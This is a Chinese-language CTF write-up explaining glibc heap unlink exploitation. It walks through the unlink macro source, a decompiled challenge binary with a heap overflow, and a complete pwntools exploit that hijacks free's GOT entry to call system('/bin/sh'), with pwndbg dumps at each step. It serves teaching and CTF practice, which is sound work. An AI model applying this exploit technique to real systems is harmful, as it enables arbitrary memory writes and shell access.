pwn堆利用之unlink
柳贯一 发表于 江西 二进制安全 162浏览 · 2024-11-26 14:41

Pwn堆学习笔记-unlink

写在前面:

很早之前写到的题目,很久都没想明白,今天一下想明白了,跟各位师傅分享一下

什么是unlink

我们先来看unlink的源码

#define unlink(AV, P, BK, FD) 
{                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
else 
{
    FD->bk = BK;
    BK->fd = FD;
    if (!in_smallbin_range(P->size)
        && __builtin_expect(P->fd_nextsize != NULL, 0)) 
    {
        if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0)
            || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
            malloc_printerr(check_action,
                "corrupted double-linked list (not small)",
                P, AV);
            if (FD->fd_nextsize == NULL) 
            {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else 
                {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            }
            else 
            {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
    }
}
}

源码分析

1.首先定义了一个unlink宏,其中有四个参数AV、P、BK、FD

  • AV参数指的是已allocated的结构,可能与内存分配器的状态有关,不做过多了解
  • P是指当前操作的内存块也就是chunk
  • BK是指当前chunk后一个释放的一个chunk
  • FD是指当前chunk前一个释放的一个chunk

2.

FD = P->fd;                                   
    BK = P->bk;

上述两行代码介绍了FD和BK的来源,分别取自于当前chunk的fd指针和bk指针

3.__builtin_expect是一个用于优化代码运行的宏,用于判定给出前置条件的可能性大小

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

例如该源码中就是指FD的bk指针或者BK的FD指针不指向当前chunk发生可能性较小情况

能够加快在符合上述黑体条件下代码的运行速度,也就是链表指针没发生错误的情况

会进行如下操作

FD->bk = BK;
    BK->fd = FD;

也就是把前一个释放的chunk的bk指针指向后一个释放的chunk

后一个chunk的fd指针指向前一个释放的chunk

4.下面的源码是用于检测操作非small bin(且有fd_nextsize指针不为0)时对fd_nextsize和bk_nextsize的检测

{
    if (!in_smallbin_range(P->size)
        && __builtin_expect(P->fd_nextsize != NULL, 0)) 
    {
        if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0)
            || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
            malloc_printerr(check_action,
                "corrupted double-linked list (not small)",
                P, AV);
            if (FD->fd_nextsize == NULL) 
            {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else 
                {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            }
            else 
            {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
    }
}

我们暂时不做考虑

源码总结:

通过伪造fake chunk的fd与bk指针来调用unlink宏

利用unlink宏中对fd与bk指针的调用来实现P=(&P-0x18)

题目分析:

主函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

堆类菜单题,但是没有show的功能,要考虑其他的办法泄露libc

Create_heap:

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

Delete_heap:

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

free之后堆指针置零,不存在uaf漏洞

edit_heap

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

edit的内容和大小我们都可控,可以实现堆溢出

133t:

int l33t()
{
  return system("cat /home/pwn/flag");
}

一开始看到133t函数的时候以为是打unsorted bin来修改magic的值为一个大值从而getflag

打完才发现这个flag的路径是错误的,实际上是要打unlink来修改free的got为system的plt,由于

程序中都调用了free函数和system函数,所以无需泄露libc基址,覆盖即可

利用过程

  1. 分配n个chunk,在其中某个chunk中伪造一个fake_freed_chunk(也就是glibc会把它判定为一个free_chunk的一段内容)

  2. 利用edit实现伪造chunk,伪造内容如下

    fd=target-0x18
    bk=target-0x10
    p64(0)+p64(0x21)
    p64(fd)
    p64(bk)
    p64(0x20)+p64(next_chunk_size(P位为0))
  3. 释放与fake_chunk物理相邻的chunk实现unlink攻击

  4. 本题中的target是存放堆指针的heaparray数组,其地址是0x6020e0,通过unlink之后,向0x6020e0处写入(0x6020e0-0x18)也就是0x6020c8之后,我们heaparray数组里面存的指针就指向了0x6020c8附近,我们可以通过index=n(n为其对应的index)来对其进行索引和操作

EXP:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
libc=ELF('/home/zst/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
eir = 0
if eir == 1:
    p=remote("",)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)

def open_gdb_terminal():
    pid = p.pid
    gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
    subprocess.Popen(["gnome-terminal", "--geometry=120x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])

def dbg():
    open_gdb_terminal()
    pause()


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ita = lambda : p.interactive()
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
pt = lambda s : print("leak----->",hex(s))

def menu(choice):
    sla("Your choice :",str(choice))
def add(size,cnt):
    menu(1)
    sa("Size of Heap : ",str(size))
    sa("Content of heap:",cnt)
def dele(index):
    menu(3)
    sla("Index :",str(index))
def edit(index,size,content):
    menu(2)
    sla("Index :",str(index))
    sa("Size of Heap : ",str(size))
    sa("Content of heap : ",content)

target=0x6020e0
fd=target-0x18
bk=target-0x10
add(0x20,b'aaaa')#0
add(0x80,b'bbbb')#1
add(0x100,b'cccc')#2
add(0x10,b'/bin/sh\x00')#3
pl1=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)+p64(0x90)
edit(0,len(pl1),pl1)
dele(1)
add(0x20,b'a')#1
pl2=b'a'*0x18+p64(fd)+p64(elf.got['free'])
edit(0,len(pl2),pl2)
#dbg()
pl3=p64(elf.plt['system'])
edit(1,len(pl3),pl3)
dele(3)
ita()

exp分析:

我们跟着pwndbg动调来看

1.分配n个chunk,并伪造fake_chunk

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x3ab94000  0x0000000000000000  0x0000000000000031  ........1.......
0x3ab94010  0x0000000061616161  0x0000000000000000  aaaa............
0x3ab94020  0x0000000000000000  0x0000000000000000  ................
0x3ab94030  0x0000000000000000  0x0000000000000091  ................
0x3ab94040  0x0000000062626262  0x0000000000000000  bbbb............
0x3ab94050  0x0000000000000000  0x0000000000000000  ................
0x3ab94060  0x0000000000000000  0x0000000000000000  ................
0x3ab94070  0x0000000000000000  0x0000000000000000  ................
0x3ab94080  0x0000000000000000  0x0000000000000000  ................
0x3ab94090  0x0000000000000000  0x0000000000000000  ................
0x3ab940a0  0x0000000000000000  0x0000000000000000  ................
0x3ab940b0  0x0000000000000000  0x0000000000000000  ................
0x3ab940c0  0x0000000000000000  0x0000000000000021  ........!.......
0x3ab940d0  0x0068732f6e69622f  0x0000000000000000  /bin/sh.........
0x3ab940e0  0x0000000000000000  0x0000000000020f21  ........!.......     <-- Top chunk

pwndbg>

2.利用edit来伪造fake_chunk的内容

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x3ab94000  0x0000000000000000  0x0000000000000031  ........1.......
0x3ab94010  0x0000000000000000  0x0000000000000021  ........!.......
0x3ab94020  0x00000000006020c8  0x00000000006020d0  . `...... `.....
0x3ab94030  0x0000000000000020  0x0000000000000090   ...............
0x3ab94040  0x0000000062626262  0x0000000000000000  bbbb............
0x3ab94050  0x0000000000000000  0x0000000000000000  ................
0x3ab94060  0x0000000000000000  0x0000000000000000  ................
0x3ab94070  0x0000000000000000  0x0000000000000000  ................
0x3ab94080  0x0000000000000000  0x0000000000000000  ................
0x3ab94090  0x0000000000000000  0x0000000000000000  ................
0x3ab940a0  0x0000000000000000  0x0000000000000000  ................
0x3ab940b0  0x0000000000000000  0x0000000000000000  ................
0x3ab940c0  0x0000000000000000  0x0000000000000021  ........!.......
0x3ab940d0  0x0068732f6e69622f  0x0000000000000000  /bin/sh.........
0x3ab940e0  0x0000000000000000  0x0000000000020f21  ........!.......     <-- Top chunk

3.释放chunk来实现unlink攻击

pwndbg> vis

0x3ab94000  0x0000000000000000  0x0000000000000031  ........1.......
0x3ab94010  0x0000000000000000  0x00000000000000b1  ................     <-- unsortedbin[all][0]
0x3ab94020  0x00007fdbe166cb78  0x00007fdbe166cb78  x.f.....x.f.....
0x3ab94030  0x0000000000000020  0x0000000000000090   ...............
0x3ab94040  0x0000000062626262  0x0000000000000000  bbbb............
0x3ab94050  0x0000000000000000  0x0000000000000000  ................
0x3ab94060  0x0000000000000000  0x0000000000000000  ................
0x3ab94070  0x0000000000000000  0x0000000000000000  ................
0x3ab94080  0x0000000000000000  0x0000000000000000  ................
0x3ab94090  0x0000000000000000  0x0000000000000000  ................
0x3ab940a0  0x0000000000000000  0x0000000000000000  ................
0x3ab940b0  0x0000000000000000  0x0000000000000000  ................
0x3ab940c0  0x00000000000000b0  0x0000000000000020  ........ .......
0x3ab940d0  0x0068732f6e69622f  0x0000000000000000  /bin/sh.........
0x3ab940e0  0x0000000000000000  0x0000000000020f21  ........!.......     <-- Top chunk
pwndbg> x/40gx 0x6020a0
0x6020a0 <stdout@@GLIBC_2.2.5>: 0x00007fdbe166d620  0x0000000000000000
0x6020b0 <stdin@@GLIBC_2.2.5>:  0x00007fdbe166c8e0  0x0000000000000000
0x6020c0 <magic>:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
0x6020e0 <heaparray>:   0x00000000006020c8  0x0000000000000000
0x6020f0 <heaparray+16>:    0x000000003ab940d0  0x0000000000000000
0x602100 <heaparray+32>:    0x0000000000000000  0x0000000000000000
0x602110 <heaparray+48>:    0x0000000000000000  0x0000000000000000
0x602120 <heaparray+64>:    0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000000000000
0x602150:   0x0000000000000000  0x0000000000000000
0x602160:   0x0000000000000000  0x0000000000000000
0x602170:   0x0000000000000000  0x0000000000000000
0x602180:   0x0000000000000000  0x0000000000000000
0x602190:   0x0000000000000000  0x0000000000000000
0x6021a0:   0x0000000000000000  0x0000000000000000
0x6021b0:   0x0000000000000000  0x0000000000000000
0x6021c0:   0x0000000000000000  0x0000000000000000
0x6021d0:   0x0000000000000000  0x0000000000000000

可以看到heaparray起始的地方已经被我们修改为了0x6020c8,我们再对index为0的堆块进行操作时,就会操作0x6020c8附近的内容

4.通过对heaparray的修改来实现任意地址写

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x3ab94000  0x0000000000000000  0x0000000000000031  ........1.......
0x3ab94010  0x0000000000000000  0x0000000000000031  ........1.......
0x3ab94020  0x00007fdbe166cc61  0x00007fdbe166cc18  a.f.......f.....
0x3ab94030  0x0000000000000020  0x0000000000000090   ...............
0x3ab94040  0x0000000062626262  0x0000000000000081  bbbb............     <-- unsortedbin[all][0]
0x3ab94050  0x00007fdbe166cb78  0x00007fdbe166cb78  x.f.....x.f.....
0x3ab94060  0x0000000000000000  0x0000000000000000  ................
0x3ab94070  0x0000000000000000  0x0000000000000000  ................
0x3ab94080  0x0000000000000000  0x0000000000000000  ................
0x3ab94090  0x0000000000000000  0x0000000000000000  ................
0x3ab940a0  0x0000000000000000  0x0000000000000000  ................
0x3ab940b0  0x0000000000000000  0x0000000000000000  ................
0x3ab940c0  0x0000000000000080  0x0000000000000020  ........ .......
0x3ab940d0  0x0068732f6e69622f  0x0000000000000000  /bin/sh.........
0x3ab940e0  0x0000000000000000  0x0000000000020f21  ........!.......     <-- Top chunk
pwndbg> x/40gx 0x6020a0
0x6020a0 <stdout@@GLIBC_2.2.5>: 0x00007fdbe166d620  0x0000000000000000
0x6020b0 <stdin@@GLIBC_2.2.5>:  0x00007fdbe166c8e0  0x0000000000000000
0x6020c0 <magic>:   0x0000000000000000  0x6161616161616161
0x6020d0:   0x6161616161616161  0x6161616161616161
0x6020e0 <heaparray>:   0x00000000006020c8  0x0000000000602018
0x6020f0 <heaparray+16>:    0x000000003ab940d0  0x0000000000000000
0x602100 <heaparray+32>:    0x0000000000000000  0x0000000000000000
0x602110 <heaparray+48>:    0x0000000000000000  0x0000000000000000
0x602120 <heaparray+64>:    0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000000000000
0x602150:   0x0000000000000000  0x0000000000000000
0x602160:   0x0000000000000000  0x0000000000000000
0x602170:   0x0000000000000000  0x0000000000000000
0x602180:   0x0000000000000000  0x0000000000000000
0x602190:   0x0000000000000000  0x0000000000000000
0x6021a0:   0x0000000000000000  0x0000000000000000
0x6021b0:   0x0000000000000000  0x0000000000000000
0x6021c0:   0x0000000000000000  0x0000000000000000
0x6021d0:   0x0000000000000000  0x0000000000000000
pwndbg> tele 0x00000000006020c8
00:0000│  0x6020c8 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓     2 skipped
03:0018│  0x6020e0 (heaparray) —▸ 0x6020c8 ◂— 0x6161616161616161 ('aaaaaaaa')
04:0020│  0x6020e8 (heaparray+8) —▸ 0x602018 (free@got.plt) —▸ 0x7fdbe132ca70 (free) ◂— push r13
05:0028│  0x6020f0 (heaparray+16) —▸ 0x3ab940d0 ◂— 0x68732f6e69622f /* '/bin/sh' */
06:0030│  0x6020f8 (heaparray+24) ◂— 0x0
07:0038│  0x602100 (heaparray+32) ◂— 0x0

可以看到我们把0x602018写到了index为1的chunk处,我们再把chunk1申请回来并改写就能写到0x602018处了
而0x602018正好是我们布置好的free的got表,覆盖为system即可,并free chunk2即可getshell

0 条评论
某人
表情
可输入 255